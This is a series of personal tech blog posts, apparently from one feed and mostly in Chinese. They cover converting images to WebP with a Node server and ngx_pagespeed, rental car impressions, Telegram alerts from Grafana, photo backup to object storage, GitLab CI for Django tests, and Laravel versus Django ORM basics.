So I’ve decided to create a simple server that can convert all JPG/PNG files to WebP format without changing the URLs.
Means you can still access images with
/xxx.jpgbut the image is in WebP format and the file size of it is smaller.
With some self-learning, there is a prototype available on GitHub: n0vad3v/webp_server written with Node, ExpressJS and cwebp, and the effect of it is quite fascinating, as below.
On a typical post with a lot of images such as 《那些年我开过的车(们)》, the images are always large.

With the WebP Server, the requests are becoming much more friendly (Look at eado.pov, it’s original size is 1.4M and the WebP image size is only 476K, wow!).

The image sizes are a big minus on score, so we just focus on the relative of those.
Before WebP Server:

After WebP Server:

In my test under a Laptop with i5-7200U(2C4T), Using ab can have the result as below, the request is for a cached webp file.
Document Path: /moon.jpg
Document Length: 3081336 bytes
Concurrency Level: 1000
Time taken for tests: 33.420 seconds
Complete requests: 10000
Failed requests: 0
Total transferred: 30816170000 bytes
HTML transferred: 30813360000 bytes
Requests per second: 299.22 [#/sec] (mean)
Time per request: 3342.003 [ms] (mean)
Time per request: 3.342 [ms] (mean, across all concurrent requests)
Transfer rate: 900475.41 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 113 316.6 3 1073
Processing: 613 3167 484.1 3281 4301
Waiting: 2 311 115.7 305 1178
Total: 613 3279 627.3 3289 5367
]]>WebP is a modern image format that provides superior lossless and lossy compression for images on the web. Using WebP, webmasters and web developers can create smaller, richer images that make the web faster.
WebP lossless images are 26% smaller in size compared to PNGs. WebP lossy images are 25-34% smaller than comparable JPEG images at equivalent SSIM quality index.
Lossless WebP supports transparency (also known as alpha channel) at a cost of just 22% additional bytes. For cases when lossy RGB compression is acceptable, lossy WebP also supports transparency, typically providing 3× smaller file sizes compared to PNG.
这样来看对比目前互联网上常见图片格式——PNG 和 JPG 来说,优势就很明显了,在 Google 的 PageSpeed Insights 中,对于网站的优化许多时候也会有这样一条优化建议——将图片使用 WebP 输出。

以《那些年我开过的车(们)》中长安逸动的照片为例,以下是 eado-pov.jpg

➜ du -h eado-pov.jpg
1.4M eado-pov.jpg
使用 cwebp 进行转换之后大小变为了:
➜ du -h eado-pov.webp
292K eado-pov.webp
其中转换过程如下:
Saving file 'eado-pov.webp'
File: eado-pov.jpg
Dimension: 4109 x 2229
Output: 297652 bytes Y-U-V-All-PSNR 40.17 47.73 46.92 41.53 dB
(0.26 bpp)
block count: intra4: 17345 (48.21%)
intra16: 18635 (51.79%)
skipped: 3906 (10.86%)
bytes used: header: 322 (0.1%)
mode-partition: 66470 (22.3%)
Residuals bytes |segment 1|segment 2|segment 3|segment 4| total
macroblocks: | 1%| 7%| 22%| 70%| 35980
quantizer: | 45 | 45 | 38 | 30 |
filter level: | 14 | 18 | 56 | 45 |
图片如下(以下是 eado-pov.webp):

至少作为网页输出来说,我肉眼没有看到什么差距,而且目前 WebP 对于主流浏览器是全部兼容的:
Amongst web browsers, Google Chrome, Firefox, Opera, GNOME Web, Midori, Falkon, Pale Moon, and Waterfox natively support WebP. Microsoft Edge supports WebP through a platform extension (installed by default). Microsoft Edge doesn’t support platform extensions, including the WebP image format extension, when running in the security hardened “Application Guard” mode.
嗯,我们离一个更快的互联网又近了一步!
为了满足这样的需求,我们有一些解决方案,比如:
注意哈,这里 On-the-fly 的意思,不是访问一个
/xxx.jpg就会自动变成 WebP 格式的/xxx.jpg。(对于这个需求我们还需要一些别的方法)而是让 Nginx 检查页面中的元素,发现
/xxx.jpg,会自动将其转换为 WebP(并存放在定义好的缓存文件夹中),并在渲染页面的时候自动把/xxx.jpg替换成xxx.jpg.pagespeed.ic.pWglov2dVZ.webp
由于图片转换这个操作对于服务来说一般没有什么压力,且「方案一」需要写一堆的 map 和 JS 比较 dirty,这里决定采用「方案二」,让服务器直接转换并输出 WebP 格式图片。而要达成方案二也有两种方式:
再一次,我选择使用「方案二」。
首先确保 Nginx 有 --with-compat 编译参数,这样我们就不需要按照一些奇怪的教程让大家从头开始编译 Nginx,使用 nginx -V 确认,比如我的 Nginx 输出如下:
nginx version: nginx/1.17.4
...
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx ... --with-compat ...
如果大家使用的 Ubuntu 系统的话,系统自带的源会比较老并且没有 --with-compat ,所以这里建议参考官方方式使用官方源:
如果已经安装过 Nginx 了请备份好
nginx.conf之后apt remove nginx nginx-common nginx-full nginx-core
echo "deb http://nginx.org/packages/mainline/ubuntu `lsb_release -cs` nginx" \
| sudo tee /etc/apt/sources.list.d/nginx.list
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt update
sudo apt install nginx
以 Ubuntu 18.04 LTS 为例,以上安装方式会安装 Nginx 1.17.4。
接下来开始编译 pagespeed:
首先安装必备环境:
sudo apt install build-essential zlib1g-dev libpcre3 libpcre3-dev unzip uuid-dev
下载 Nginx 1.17.4 源码并解压:
wget https://nginx.org/download/nginx-1.17.4.tar.gz
tar xvf nginx-1.17.4.tar.gz
找到 incubator:
git clone https://github.com/apache/incubator-pagespeed-ngx.git
在 incubator-pagespeed-ngx 目录下下载 PageSpeed Optimization Libraries 并解压:
wget https://dl.google.com/dl/page-speed/psol/1.13.35.2-x64.tar.gz
tar xvf 1.13.35.2-x64.tar.gz
切换到 nginx 源代码目录下开始配置编译环境:
./configure --with-compat --add-dynamic-module=../incubator-pagespeed-ngx
编译 modules:
make modules
将对应编译好的 module 放到 nginx 目录下:
sudo cp objs/ngx_pagespeed.so /etc/nginx/modules/
在 Nginx 主配置文件(nginx.conf)顶部加上:
load_module modules/ngx_pagespeed.so;
并且创建好缓存文件夹以便存放自动转换的图片:
sudo mkdir -p /var/ngx_pagespeed_cache
sudo chown -R www-data:www-data /var/ngx_pagespeed_cache
如果希望所有的站点都开启 PageSpeed ,可以直接在 nginx.conf 中加入以下:
# enable pagespeed module on this server block
pagespeed on;
# Needs to exist and be writable by nginx. Use tmpfs for best performance.
pagespeed FileCachePath /var/ngx_pagespeed_cache;
# Ensure requests for pagespeed optimized resources go to the pagespeed handler
# and no extraneous headers get set.
location ~ "\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+" {
add_header "" "";
}
location ~ "^/pagespeed_static/" { }
location ~ "^/ngx_pagespeed_beacon$" { }
pagespeed RewriteLevel CoreFilters;
其中最后一个部分(pagespeed RewriteLevel CoreFilters;)表示启用的优化方式,其中包括了一些基础的优化,比如:
add_head
combine_css
combine_javascript
convert_meta_tags
extend_cache
fallback_rewrite_css_urls
flatten_css_imports
inline_css
inline_import_to_link
inline_javascript
rewrite_css
rewrite_images
rewrite_javascript
rewrite_style_attributes_with_url
如果需要加入别的 Filter ,可以类似这样写:
pagespeed EnableFilters combine_css,extend_cache,rewrite_images;
所有的 Filters 列表可以参考:Configuring PageSpeed Filters,对于我们图片的转换的话,由于 PageSpeed 会自动判断是否需要转换,对于我们需要彻底转换 WebP 的需求,还需要加上几个 filter:
pagespeed EnableFilters convert_png_to_jpeg,convert_jpeg_to_webp;
重启 Nginx 之后打开页面应该就可以发现图片的 URL 已经被替换成 WebP 格式的了:

如果发现你的图片并没有自动被转换成 WebP 格式的话,可以在你的 URL 后面加上 ?PageSpeedFilters=+debug,然后查看源代码,并注意源代码中图片后面的部分,在我配置的过程中遇到过以下问题:
<!--4xx status code, preventing rewriting of xxx
由于手上 Wordpress 的机器都是放在 Docker 中,前置了 Cloudflare,所以默认的回源方式会出错,这个时候需要这样配置一下,其中 localhost:2404 是本地 Docker 监听地址:
pagespeed MapOriginDomain "http://localhost:2404/" "https://nova.moe/";
<!--deadline_exceeded for filter CacheExtender--><!--deadline_exceeded for filter ImageRewrite-->
这个表示 PageSpeed 正在生成对应的缓存图片。
<!--The preceding resource was not rewritten because its domain (nova.moe) is not authorized-->
由于有反向代理,SSL 在 Nginx 上就已经结束,需要配置一下代理中的:
proxy_set_header X-Forwarded-Proto $scheme;
并加上:
pagespeed RespectXForwardedProto on;
注意那个 Serve Images in next-gen formats 的优化建议。


虽然这样做可以在不(手动)改变页面元素的情况下将 JPG 和 PNG 自动转换为 WebP 输出,但是在以上实验中,需要做到站点和媒体文件使用的一个路径,换句话说,就是需要使用 Wordpress 媒体库,而 Wordpress 媒体库于我而言并不好用,无论是为了以后备份还是迁移,所以对于我的博客,所有的图片都被放在了 / 下,在这样一个情况下就没法做到用 PageSpeed 自动 WebP 转换了,也是接下来需要优化的一个重点(图片虽然不多,但是有些图片 1.4M 实在是有点太大了)。
车辆介绍顺序将按照以下列表展开,所以,我青年时代就开过:
除了一些特定车型以外,发现一个比较有意思的点,国产车基本都是又大又长,乘坐的时候视野比较高比较大,例如以下 BMW 320i 和 长安逸动 EV200 副驾驶 POV 实拍照片:


应该是自己驾驶过里程最长的一辆车,开到过不同车况和配置的,从实际驾驶体验上来说,0-50 加速应该是最迅猛的一辆,但是过了 50kph 之后加速随缘,实测 0-100 大概是 12~15s 之间。
由于 EV200 几乎完全是从老版本长安逸动燃油车的车身改装,且由于是油改电,车身重量相比较燃油车据说重了 200+KG,且由于电池包放在车辆底盘下,使得车辆最低点距离地面有近了一些,虽然看许多评论说这样更加容易托底,但是在我个人驾驶的情况下,在各种烂路上都没有遇到过类似的情况,相反,有以下几个问题是我比较关注的:
| 峰值扭矩 | 280 Nm |
|---|---|
| 轮胎 | 205/60/R16 |
| 车身尺寸 | N/A(网上全是 EV460 的参数了) |

EV 和 IMT 就放在一起讲了(主要是 EV 开过太少了),EV 如果不考虑续航问题的话,似乎从普通驾驶上没有什么特别的值得说的点,对于 IMT 的话,可以说的点就很多了。
比如这个容易打滑的 175/60/R15 轮胎:

还有糟糕的 IMT 变速箱,深给油时降档迟钝,换档延迟超大,收油时发动机抖动,方向盘指向不准确,虽然是前麦弗逊后扭力梁的设计,但是 “路感清晰”(就是基本没有避震的意思),M 档模式下红线也会自动升档,怠速时动力不稳(低速蠕行时刹车放完会有一个较大的推力,蛮危险),没有上坡辅助,如果在侧向坡道上倒车入库的话需要手刹配合,比较考验驾驶技巧。
不过考虑到只有 6 万的售价,算是一个可以开的买菜车了。
| 峰值扭矩 | 135 Nm |
|---|---|
| 轮胎 | 175/60/R15 |
| 车身尺寸 | 3730*1650*1530 |


还有就是夜间+下雨的话驾驶真的超级没有自信,如下图(这看得到个锤子,下暴雨得把窗户打开看反光镜):

我觉得国内能开到的 Swift 和 Rent4Ring 上的 Swift 应该不是一辆车,是为数不多的面包车驾驶体验的车…
由于车头比较短,对于刚上路没有路感喜欢看着自己引擎盖开车的朋友来说是一个不错的选择(比如我)。
动力方面,一档红线可以充到 72kph,市区驾驶不考虑油耗的话可以保持 2 档开(其实内环快速我也开 2 档),由于座位非常高,拥有着类似面包车的视野,也因为座位比较高,油门和刹车踏板踩起来不是很舒服,长时间驾驶之后更是如此(小腿容易酸痛),还有一个小问题在于油门死区比较长,过死区后动力比较突兀,出停车场的时候如果控制不好容易挂到旁边车。
个人感觉雨燕最为诟病的地方在于它的悬架,前麦弗逊后拖曳臂式的设计,从实际驾驶体验来说,明显能感觉到起步抬头严重,过坑(减速带)时又非常生硬地颠簸,很不舒服,不过侧向支撑似乎尚可,搭配这个非常结实(转向很沉)的方向盘,一些弯可以比较高速丢进去,入弯前循迹刹车,过 APEX 之后深给油出弯,在重庆道路条件合适的地方这样开还是蛮有意思的(不过要注意不要不要切到对面车道,非常容易出问题)。
除此之外,据说是为了保证车内空间,前后悬架的部分做了不少牺牲,导致转向半径比较大,有多大呢,就是双向 4 车道,从内侧车道没法一次完成掉头…注意这车长度只有 3.7 米。
| 峰值扭矩 | 138 Nm |
|---|---|
| 轮胎 | 185/60/R15 |
| 车身尺寸 | 3765*1690*1510 |


由于下雨,我陷在了停车场的泥地里…
为了自己安全,还是别开它上路了吧…
| 峰值扭矩 | N/A Nm |
|---|---|
| 轮胎 | 145/60/R13 |
| 车身尺寸 | 2770*1545*1690 |


没有开过多久,外形和内饰都比较家用车的一辆车,唯一记得的一个特性是深给油的时候的顺序是:降档->(仿佛在空档中)转速一下子拉上来->完成降档(动力一下子就上来了),可能是使用了 6 DCT 变速箱的缘故,别的部分表现似乎的确没啥可以挑剔的,悬挂是用了一个比较标准的前麦弗逊后多连杆设计。
| 峰值扭矩 | 159 Nm |
|---|---|
| 轮胎 | 205/60/R16 |
| 车身尺寸 | 4368*1823*1483 |

开 ECO 模式地板油起步和电瓶自行车差不多,且某一批次还因为刹车泵被召回过:
因为塑料真空储气罐供应商制造工艺问题,可能出现破裂或者被吸瘪的情况,导致车辆制动助力不足,存在安全隐患。奇瑞汽车股份有限公司根据《缺陷汽车产品召回管理条例》的要求,向国家质检总局备案了召回计划,决定 2017 年4 月 15 日起,召回 2014 年 10 月 22日至 2015 年 10 月 11 日期间生产的部分奇瑞新能源 eQ 车型汽车,共计 4896 辆。奇瑞汽车将对召回范围内的车辆进行检查,并免费更换新的塑料真空储气罐,以消除安全隐患。
直角弯以超过 30 kph 的速度丢的话会响胎,悬挂很软,为了安全和驾驶体验,还是不建议经常开它。


找了一圈,没有找到实拍照片,没有激烈驾驶过,相比较奇瑞 eQ 而言,加速更加直接,座位高度更低,虽是两门四座车,但是个人感觉还是两个人开开就差不多了,后面坐人体验太差了。
| 峰值扭矩 | 155 Nm |
|---|---|
| 轮胎 | 175/60/R13 |
| 车身尺寸 | 3569*1551*1540 |

「woc,你开的是保时捷嘛?」,某同学看到方向盘上的 Logo 如是问。
4.5 米长的休旅车,座椅的高低调节可以有两种完全不同的驾驶体验,升高休旅车,降低普通轿车,关于车长,还有一段比较有意思的对话:
这里本来想 @ 一下某个同学的,想了一下还是算了 ^_^
没有开过太久(大概只有 500+km 的样子),一直是比较常规的开,加速和减速比较缓和,悬架前麦弗逊后扭力梁,在平坦的路况上驾驶体验不错。
| 峰值扭矩 | 255 Nm |
|---|---|
| 轮胎 | 205/60/R16 |
| 车身尺寸 | 4544*1818*1536 |

中规中矩的一辆家用车,各个方面都比较均衡,后排空间也挺大,加速没有特别的感觉(毕竟只有 1.5 自吸),变速箱逻辑有点奇怪,切换到 M 档并手动控制会好一些,相比较雨燕而言,科沃兹在转速上红线之前会稳定转速(而不会频繁断油),这一点比较有意思。
| 峰值扭矩 | 141 Nm |
|---|---|
| 轮胎 | 195/65/R15 |
| 车身尺寸 | 4544*1779*1467 |

挺喜欢的一辆小车,车身短,停车比较自信和方便,各个方面都感觉比较舒适,就是油门需要踩的很深才会触发降档(即使是 S 档)比较有意思。
然后后排的话,空间比雨燕还小,身高超过 170 的人坐着肯定是没有地方放脚的(需要放到前排座椅下),比较逼仄。
如果不考虑后排空间(== 不考虑 2 人以上出行)的话,Polo 个人感觉很不错啦。
| 峰值扭矩 | 155 Nm |
|---|---|
| 轮胎 | 185/60/R15 |
| 车身尺寸 | 3970*1682*1462 |

第一反应是:李老鼠的捷达王。
对比上文的 Polo 的话,开起来感觉是三厢的 Polo。
后排空间相比较 Polo 会大一些,但是整体车身长度并不是很长,有一种缩短版桑塔纳的感觉。
| 峰值扭矩 | 150 Nm |
|---|---|
| 轮胎 | 185/60/R15 |
| 车身尺寸 | 4501*1704*1469 |

驾驶的这辆 320i M 有过改装(排气),感觉座椅好低,容易超速,见过车主 130 kph 进弯,心慌慌…
同时颠覆了对于 BMW 3 系车动力的理解…
| 峰值扭矩 | 270 Nm |
|---|---|
| 轮胎 | 225/45/R18 |
| 车身尺寸 | 4624*1811*1455 |

个人最喜欢的是它的双层仪表盘(不过可惜的是目前最新思域已经没有这个设计了),搭配 1.8L 发动机,驾驶体验非常不错,就是我开的话,油耗有点高…
思域在哪里!
| 峰值扭矩 | 174 Nm |
|---|---|
| 轮胎 | 205/55/R16 |
| 车身尺寸 | 4500*1755*1450 |

一款纯电动车,官方名称为——微蓝,目前最新版本的满电续航里程为 420KM,看了一下参数惊艳到了,居然有 350 Nm 的峰值扭矩,甚至超过了 320i,但是作为电动车,与荣威 Ei5 相比,虽然拥有 350 Nm 的扭矩,但是同样在 S 档或者称「运动模式」上,别克 VELITE 从给油到轮上输出动力之间有一个非常大的迟滞,不知道是有意为之还是别的什么 Bug。
| 峰值扭矩 | 350 Nm |
|---|---|
| 轮胎 | 215/55/R17 |
| 车身尺寸 | 4650*1817*1510 |


由于自己的主机很少出问题,所以一直没有注意过警报推送的问题,之前默认都是通过邮件进行推送的,但是这样就会有一个问题:
你不能指望你的邮件服务器可以给你的邮件客户端及时推送,也不能指望你的邮件客户端可以保持常开
所以对于主机监控警报的推送来说,可能需要找一些第三方平台了,首先我们肯定不会去用 DingTalk/WeChat,毕竟:
你不能指望一个
(疯狂要权限|消息不加密|走国内平台|桌面版客户端几乎不可用|跨平台就别想了|运作逻辑不开放|接不上 IFTTT|还要实名认证)的软件可以帮你做什么。
为了解决利用一个通讯工具在被要求交出手机前实现大一统消息推送和管理的需求,这里准备使用 Telegram 进行管理监控信息,实现思路如下:
对于后者相信有 IFTTT 使用经验的人都会做,也就是点几下鼠标的事情,前者似乎才是有一定难度的地方,毕竟我在自己配置的过程中踩了一些坑。
首先创建一个 Bot 并且把这个 Bot 邀请到自己的 Group 中。
创建一个 Bot 对于大家来说绝非难事,找到
@BotFather然后发一个/newbot就好了,很容易的。
创建好 Bot 之后会看到类似如下一段话:
Done! Congratulations on your new bot. You will find it at t.me/xxxyyyzzz_bot. You can now add a description, about section and profile picture for your bot, see /help for a list of commands. By the way, when you've finished creating your cool bot, ping our Bot Support if you want a better username for it. Just make sure the bot is fully operational before you do this.
Use this token to access the HTTP API:
931234567:MSDAJ3p8***jsW7fhj
Keep your token secure and store it safely, it can be used by anyone to control your bot.
For a description of the Bot API, see this page: https://core.telegram.org/bots/api
注意上文中数字加冒号的部分是 API 的 Token,如果你已经邀请好了你的 Bot,可以通过访问以下地址:
https://api.telegram.org/bot<TOKEN>/getUpdates
其中<TOKEN> 部分直接替换为那个 Token,例如:
https://api.telegram.org/bot931234567:MSDAJ3p8***jsW7fhj/getUpdates
可以得到类似如下 JSON 结果:

我们需要的是 chat 下的 id,也就是那个 -2421379 这样的值。
在 Grafana 的 Notification Channels 中加入一个 Telegram 的 Channel 就好了。(什么,你找不到「Notification Channels」,在面板左侧那一条中)

这样我们已经写好了警报推送通道,现在就是定义警报触发条件了。
对于某一个 Dashboard 点 Edit 之后可以设置警报的触发条件,由于是对于生产环境服务器的警报,所以其实有很多的触发可能,最容易想到的可能就是 CPU 的长时间高负荷和高内存占用(考虑溢出的可能),当然在很多时候这个标准并不绝对,例如在 YunLoad 的一个业务中有一个关键功能就是会涉及到长达几分钟的高 CPU 占用,若设置不当容易误触警报让自己梦中惊醒。

如果你和我一样偷懒使用 5955 面板的话,在 Test 的时候很有可能会遇到:
tsdb.HandleRequest() error time: invalid duration $inter
这个时候看对应 Query 底下的 Min time interval 可以发现其中的值是 $inter ,也就导致了上述问题,为了避免这样的问题,我的解决方案是把 $inter 替换掉,顺带重写了一下 Query 的部分(默认的 query 叫 B,新建了一个 Query A),比如某一台机器的 CPU 信息可以如下写(当然,要创建一个 Query 并没有这么复杂,现在的 Grafana 其实有图形界面可以直接点点点啦~):
SELECT percentile("usage_user", 95) AS "HKG_CPU" FROM "cpu" WHERE ("cpu" = 'cpu-total' AND "host" = 'hkg-novanetwork') AND $timeFilter GROUP BY time($__interval) fill(null)
然后设置好条件就可以啦,还有一个坑在于 query 的时间间隔,如果太长的话容易导致数据接受延迟,太短的话,容易读不到数据。
接下来就是邀请所有 NOC 的同学进入你的 Group,完工~

对于照片来说,一般有如下分类:

对于以上 4 个需求,照片(以及视频)被我分为:本地文件、存储文件和展示文件。
此处针对需要进行后期的图片以及一些视频为例,由于需要大量使用 Lightroom 对照片进行后期处理,我选择了将所有的照片文件以文件夹的形式放入一个统一的文件夹中,文件夹目录类似如下:
Photos
├── 2019-06-20 Hackathon
└── 2019-07-31 Random walk in school
这样做的好处是照片相对集中管理,且对于后期需要切换平台来说非常方便,也就是 Lightroom 的 Category,对于 Lightroom 来说,其默认的 Category 文件被保存于 C:/Users/<UserName>/Pictures/Lightroom/Lightroom Catalog.lrcat,所以如果需要对 Lightroom 有一个完整的备份的话只需要对此文件以及上述目录进行备份即可。
照片的存储非常耗费空间,如果使用网盘的话,对于批量操作和命令行操作来说不是非常方便,且由于存储大多是为了备份,选择一个合适的对象存储可以大幅减少开销,例如 Google Cloud Platform 的存储定价如下:
| Multi-Regional Storage (per GB per Month) | Regional Storage (per GB per Month) | Nearline Storage (per GB per Month) | Coldline Storage (per GB per Month) |
|---|---|---|---|
| $0.026 | * | $0.010 | $0.007 |
由于我们丢入存储中之后可能很长时间内(直到本地硬盘损坏之前)都不会去使用和修改文件,所以完全可以考虑使用 Coldline 存储,即使有 200G 数据,每个月开销也仅仅为 $1.4。
如果你正好使用了例如 DigitalOcean 这样的服务商,它们提供了 250G/5$ 且可以创建无限多桶的存储方案,完全可以创建多个桶分别用于服务器备份和本地照片备份。
例如在我的 DO 账户上单纯是照片相关(照片,视频,Lightroom Category 备份)就有许多的桶,大概长这个样子(名称我就 Blur 了,各位可以根据文件数量和大小猜一下分别是用来做什么的):

这样每次拍照之后只需要调用一下脚本将图片批量同步到 S3 桶即可,或者其实可以可以直接使用 s3fs 之类的工具保持本地挂载,不过这个在 Windows 上和大陆的地区网络环境下可能用起来有点小糟心。
这里有一点需要注意,虽然对于靠谱的云服务商来说并不会偷窥用户隐私,但是照片在上传的时候建议加密后上传,不过
s3cmd类工具在sync的时候是不可以使用加密选项的,意味着我们需要本地加密后用s3cmd cp上传,且为了差异化上传,一个完整压缩包的形式也无法使用。
选择对象存储而不是网盘还有一个比较重要的原因在于后期发布的便捷性,见下文。
对于图片展示来说,主要有两个方面的需求:
对于内部照片分享来说,Google Photos 似乎非常方便,除了在批量上传时有一些 Bug 以外,对于普通的无需修正的手机拍摄的照片,完全可以选择拍摄后自动同步到 Photos 上,而对于一些容量特别大的视频,则建议手动复制到电脑上后先上传,然而个人在上传大量的视频(容量 >10G)的时候经常遇到上传失败的问题,类似的问题通过海外大带宽的 VPS 上便不存在,非常诡异。
为了解决这个问题,可以使用对象存储中转的方式进行,如此以来一个完整的视频处理工作流便是:
| 手机拍摄低重要度照片(无需后期) | 单反拍摄的需要发布的照片 |
|---|---|
| 1.拍摄 | 1.拍摄 |
| 2.自动同步 Google Photos | 2.本地后期 |
| 3.同步到对象存储 | |
| 4.通过对象存储中转同步到各个平台 | |
| 3. 加入对应的 Google Photos Album | 5.加入对应的 Google Photos Album |
经常可以听到周边的同学因为手机丢失/损坏/手滑等原因失去了大量的照片,虽然丢的不是我的照片,我并不会为此觉得可惜(跑~
但是我是不会允许这种情况发生在自己身上的,如文初所说,照片分为「本地文件、存储文件和展示文件」,分别用于「本地处理、存储归档、对外展示」,使用以上的架构可以做到:
不过呢,这样的设计还是有以下缺点或者说可能的无法掌握的故障点:
我知道这样一个方案看上去有点麻烦,不过呢:
数据无价,谨慎操作。——DiskGenius
此外,如果 DigitalOcean 的无限桶计划比较吸引你的话,可以考虑通过我的 aff 注册:「https://m.do.co/c/b0f12a777820」,这样你在注册的时候可以直接获得 100$,我也可以得到 25$ 来给我的 Spaces 续费,国安民乐,岂不美哉?
]]>“Code without tests is broken by design.” - Jacob.

写应用,部署应用,很重要的一个环节便是测试(然后就是所谓的 CI/CD( Continuous Integration and Continuous Delivery)),可能许多初学者写软件/或者 Web App 会经历几个阶段(我也是这么过来的):
xxx startproject yyy 然后开始写,每天存盘git reset HEAD --hard 回滚到上一个可用的状态pull GitHub 上的代码来完成功能的上线(涉及到数据库修改的就先 down 一下)那么问题来了:
这个基本可以参考 Django 官方文档,如果希望自己的代码看上去有条理一点就不要所有测试全部丢在 tests.py 里面,可以多创建几个文件,比如 test_static_views.py ,test_auth_functions.py 之类,毕竟:
The default
startapptemplate creates atests.pyfile in the new application. This might be fine if you only have a few tests, but as your test suite grows you’ll likely want to restructure it into a tests package so you can split your tests into different submodules such astest_models.py,test_views.py,test_forms.py, etc. Feel free to pick whatever organizational scheme you like.
假设我们需要一个非常简单的测试,测试一下首页是否可以工作,可以如何来写呢?
from django.test import TestCase, Client
# These are tests for static pages and login/register function.
class ViewTests(TestCase):
def test_index(self):
response = self.client.get('/')
self.assertEqual(response.status_code,200)
这样假设访问首页能获得一个 200 的返回(而不是 403,415 啥的)的话测试就通过啦,本地先验证一下,使用 python manage.py test <app 的名字> 来测试某一个 app 下的测试,返回结果可能如下所示:
(env) ➜ app git:(master) python manage.py test <app 的名字>
Creating test database for alias 'default'...
System check identified no issues (0 silenced).
.
----------------------------------------------------------------------
Ran 1 test in 0.008s
OK
Destroying test database for alias 'default'...
没问题了?好的,我们下一步看看如何在 git push 之后让服务器帮我们跑一下测试(之后还可以加入一些,测试通过后自动部署的操作)。
为了(更加贴近 LeetCode 技术栈|希望尝试一下 Python 的 Web 框架),这里使用 GitLab 作为项目托管,并且分别演示如何使用 GitLab.com 官方的 Shared Runner (基于 GCE)和使用自己的 Runner (放在自己的 Docker 中)来运行测试(毕竟官方那个… 好像有点慢)。
要在 GitLab 上运行自己的测试,我们需要在项目的根目录下创建一个名为 .gitlab-ci.yml 的文件(当然,也可以不放在根目录下,不过这样的话需要自己指定一下),内容可能如下:
stages:
- test
test:
stage: test
script:
- apt-get update -qy
- apt-get install -y python3-dev python3-pip
- cd app # 我的应用放在了 app 目录下,所以需要先 cd 进去
- cp leetcode-sample/settings.py.example leetcode-sample/settings.py # 我的 settings.py 被 gitignore 了,防止暴露一些敏感信息
- pip3 install -r requirements.txt
- python3 manage.py test
然后直接 push 就可以了,一般来说,你可以看到如下的结果:

看日志的话最后几行应该如下:
$ python3 manage.py test
Creating test database for alias 'default'...
.
----------------------------------------------------------------------
Ran 1 test in 0.008s
OK
Destroying test database for alias 'default'...
System check identified no issues (0 silenced).
Job succeeded
和我们想要的一样,不错~
安装 Docker 后运行 GitLab Runner,可以参考我的 n0vad3v/dockerfiles 仓库下的 gitlab-runner ,通过 docker-compose up -d 启动之后通过 docker ps 获取到自己的 CONTAINER ID,然后进入容器进行配置:
$ docker exec -it <Container ID> gitlab-runner register
配置方法参考:Registering Runners | GitLab 即可,如果没有在 .gitlab-ci.yml 中指定的话,会默认使用 ruby:2.7 的包,这里由于我们主要是 Django 项目,所以可以指定一个 python:3.7 之类的 image,完成之后应该可以在自己的项目设置中看到自己的 Runner:

不过如果你像我这样随意打 Tag 的话容易提交了没法运行,并且报错:
This job is stuck because the project doesn’t have any runners online assigned to it.
这里一个简单粗暴的方法是勾选"Indicates whether this runner can pick jobs without tags",即可~

多写测试,尽量测试驱动开发,不仅可以减少上来就写代码而导致的后期的麻烦,还可以在一些特殊场合(比如面试的时候)给他人一个比较良好的印象。
]]>数据模型的概念让我们对于数据的存放和操作有了一层封装,对于简单的操作来说,有了 ORM 之后会非常的方便(但是数据库原理这门课程依然要好好学)。
所谓的「模型」(model),可以理解我们对于数据库结构的定义,比如有哪些字段,分别是什么类型之类。
所谓的「迁移」(migrate),可以理解为将我们定义的模型实例化为真正的数据库里面的结构的过程。
所谓的「迁移文件」(migrations),在 Laravel 中就是直接编写的文件,对于 Django 来说,是通过 python manage.py makemigrations <app名字> 生成的文件。
如果要创建一个 Model,会使用到指令:php artisan make:model User -m,这个指令会创建一个位于app/User.php 的文件,同时创建对应的数据库模型迁移文件(migration),在 Laravel 中,数据模型的定义大致类似如下:
Schema::create('users', function (Blueprint $table) {
$table->bigIncrements('id');
$table->string('name');
$table->string('email')->unique();
$table->timestamp('email_verified_at')->nullable();
$table->string('password');
$table->rememberToken();
$table->timestamps();
});
一般来说,这些文件被统一地存放在 database/migrations/ 中(如果需要手动创建的话,创建指令为:php artisan make:migration users),一个表就会有一个对应的文件(被称为 migrations),文件名会按照创建对应文件的时间为前缀命名,比如上面 Laravel 自带的 User 表的 migration 文件的文件名为:2014_10_12_000000_create_users_table.php。
要把这个所有已经定义好的模型「迁移」(migrate)到数据库中,使用指令:
php artisan migrate
如果迁移坏了,需要从 0 开始(删除之前的表并重新创建结构)的话:
php artisan migrate:fresh
Laravel 中对于数据库结构的改变是体现在 migrations 中的文件,每修改一次都会创建一个新的 migration 文件,文件名一般为 20xx_mm_dd_hhmmss_alter_xx_table.php,指令是大致类似: php artisan make:migration add_votes_to_users_table --table=users。
在 Django 中,数据模型的定义大致如下:
from django.db import models
class Person(models.Model):
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
对应的文件会默认在每个 app 下的 models.py 中存放,如果要迁移的话,需要先生成「迁移文件」,通过指令:python manage.py makemigrations <app名字>,然后通过 python manage.py migrate 来迁移。
Django 中对于数据库结构的变化并不会直接让使用者创建新的 migrations,如果需要修改数据库的话,直接修改 models.py 就可以了,在 makemigrations 之后 Django 会自动生成额外的 migration 文件。
所谓 ORM,即 Object Relational Mapping,翻译过来就是对象关系映射,Wiki 上的描述如下:
Object-relational mapping (ORM, O/RM, and O/R mapping tool) in computer science is a programming technique for converting data between incompatible type systems using object-oriented programming languages. This creates, in effect, a “virtual object database” that can be used from within the programming language. There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to construct their own ORM tools.
以一个不严谨但是简单以及实用的角度上来说,就是将一个个的数据库的操作变成一个个类的函数调用,还是不理解?假设我们需要查询 id(假设是主键)为 2 的文章,我们在 SQL 中可能会有如下几个指令:
SELECT * FROM articles WHERE id = 2;
SELECT * FROM articles WHERE type = "gallery";
SELECT * FROM articles WHERE type = "post" ORDER BY created_at DESC;
但是如果在 ORM 中话,可能是如下写法。
假设在 Laravel 中:
article = Article::find(2);
gallery_list = Article::where(type,"gallery")->get();
post_list = Article::where(type,"gallery")->desc()->get();
要用到这个需要引入我们的类,一般来说在自己的 Controller 顶部这样写:
use App\Article;
就可以了。
